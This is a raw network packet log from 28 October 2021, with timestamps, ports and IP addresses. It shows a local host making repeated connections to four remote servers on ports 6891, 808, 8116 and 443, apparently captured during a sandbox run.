Oct 28, 2021 04:47:51.095717907 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.096013069 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.096954107 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.263159037 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.263223886 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.263372898 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.264763117 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.268969059 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.269202948 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.435421944 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.435447931 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.435460091 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.550195932 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:51.550309896 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:51.550406933 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:51.550470114 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:51.553663015 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:51.553680897 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:51.675122023 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:51.821305990 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.821338892 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.821403980 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.821435928 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.828602076 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:51.833381891 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:51.833632946 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:51.834446907 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:51.940506935 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:51.992429972 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:51.992475986 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:51.992594004 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:51.993294001 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:51.994678974 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:51.994813919 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:51.994843006 CEST	6891	50131	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:51.997818947 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:51.997934103 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:52.015546083 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:52.069561005 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.069788933 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.069884062 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:52.070700884 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:52.075155973 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:52.075274944 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:52.128974915 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.129235983 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.129556894 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.151556969 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.155699968 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.155767918 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.155783892 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.155800104 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.155813932 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.298770905 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.298809052 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.298960924 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:52.305747032 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:52.360083103 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:52.428914070 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:52.428942919 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:52.429022074 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:52.435942888 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:52.435955048 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:52.549118042 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.549141884 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.549216986 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:52.549247980 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:52.551497936 CEST	50132	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:52.678112030 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:52.709512949 CEST	808	50132	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:52.843713045 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:52.843856096 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:52.844871044 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:52.928735018 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:52.929765940 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:52.932356119 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:52.932384968 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:52.937446117 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:52.937465906 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:52.937602997 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:52.937616110 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:53.010181904 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.010258913 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.011830091 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:53.011861086 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:53.016307116 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:53.016429901 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:53.181592941 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.181658030 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.218161106 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.562491894 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.562524080 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.562606096 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:53.562639952 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:53.565628052 CEST	50135	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:53.632558107 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:53.632628918 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:53.632700920 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:53.640778065 CEST	50134	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:53.640803099 CEST	443	50134	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:53.681957006 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:53.730889082 CEST	6891	50135	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:53.731785059 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:53.731946945 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:53.733182907 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:53.782061100 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:53.782236099 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:53.782316923 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:53.782552958 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:53.783104897 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:53.787292957 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:53.787416935 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:53.836395979 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:53.836426020 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:53.836436033 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:53.947571993 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:53.947746038 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:53.948781013 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.007863045 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:54.007888079 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:54.008008957 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:54.008049011 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:54.011719942 CEST	50136	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:54.060724020 CEST	8116	50136	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:54.113831997 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.113995075 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.114111900 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.115109921 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.122288942 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.122550011 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.127587080 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:54.127644062 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:54.127796888 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:54.128540039 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:54.128565073 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:54.280167103 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.287190914 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.287456036 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.287478924 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.287497044 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.287513018 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.612675905 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:54.612828970 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:54.613821983 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:54.613837004 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:54.618462086 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:54.618489027 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:54.618560076 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:54.618572950 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:54.667648077 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.667679071 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.667956114 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.668025970 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.675642967 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:54.789978027 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:54.840837955 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:54.955317020 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:54.955656052 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:54.956382990 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.121623993 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.121655941 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.123886108 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.124598026 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.128645897 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.128739119 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.293934107 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.293960094 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.302500010 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:55.302584887 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:55.302768946 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:55.302828074 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:55.306346893 CEST	50138	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:55.306380987 CEST	443	50138	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:55.330199957 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.424120903 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:55.586208105 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:55.586354017 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:55.587330103 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:55.677450895 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.677489042 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.677573919 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.677611113 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.684056044 CEST	50139	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:55.749356031 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:55.749481916 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:55.749547958 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:55.750142097 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:55.753060102 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:55.753119946 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:55.806207895 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:55.849281073 CEST	6891	50139	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:55.866478920 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:55.866637945 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:55.867479086 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:55.912095070 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:55.915043116 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:55.915074110 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:55.927325964 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:55.927645922 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:55.927746058 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:55.928333044 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:55.931288004 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:55.931379080 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:55.991380930 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:55.992014885 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:56.030339956 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:56.161793947 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:56.161828995 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:56.161982059 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:56.170295954 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:56.230464935 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:56.283839941 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:56.283886909 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:56.284023046 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:56.284909964 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:56.284930944 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:56.295123100 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:56.295202971 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:56.295239925 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:56.295269012 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:56.297921896 CEST	50140	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:56.409300089 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:56.459908009 CEST	808	50140	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:56.574837923 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:56.575894117 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:56.575959921 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:56.741379976 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:56.741460085 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:56.741763115 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:56.742461920 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:56.745716095 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:56.745748043 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:56.807750940 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:56.808068037 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:56.809557915 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:56.809643030 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:56.819200039 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:56.819243908 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:56.819310904 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:56.819333076 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:56.911382914 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:56.911417961 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:56.911428928 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:57.290411949 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:57.290441036 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:57.290565968 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:57.295726061 CEST	50143	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:57.412736893 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.461128950 CEST	6891	50143	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:57.461158991 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.461319923 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.462420940 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.511393070 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.511418104 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.511651993 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.512423992 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.516773939 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.516910076 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.528223991 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:57.528292894 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:57.532016993 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:57.536247015 CEST	50142	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:57.536272049 CEST	443	50142	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:57.564728022 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.564752102 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.693856955 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:57.746165991 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.746185064 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.746404886 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.746479034 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.749794006 CEST	50144	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:57.797322035 CEST	8116	50144	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:57.859234095 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:57.859483957 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:57.861387968 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:57.864109993 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:57.864165068 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:57.864283085 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:57.865026951 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:57.865051031 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:58.026588917 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.026752949 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.026823997 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:58.027510881 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:58.032129049 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:58.032260895 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:58.192670107 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.197355032 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.197396040 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.197474003 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.385772943 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:58.386184931 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:58.387244940 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:58.387253046 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:58.393151045 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:58.393173933 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:58.393266916 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:58.393277884 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:58.585906982 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.585931063 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.586020947 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:58.586071968 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:58.592322111 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:58.715831041 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:58.757719994 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:58.881216049 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:58.881345987 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:58.882216930 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.047390938 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.047424078 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.047887087 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.048594952 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.052763939 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.052911997 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.107867956 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:59.107949972 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:59.107978106 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:59.108014107 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:59.112636089 CEST	50146	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:59.112673044 CEST	443	50146	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:59.218031883 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.218060970 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.237756968 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:59.254159927 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.400595903 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:59.400873899 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:59.402028084 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:59.564783096 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:59.564897060 CEST	808	50148	143.244.140.214	192.168.2.5
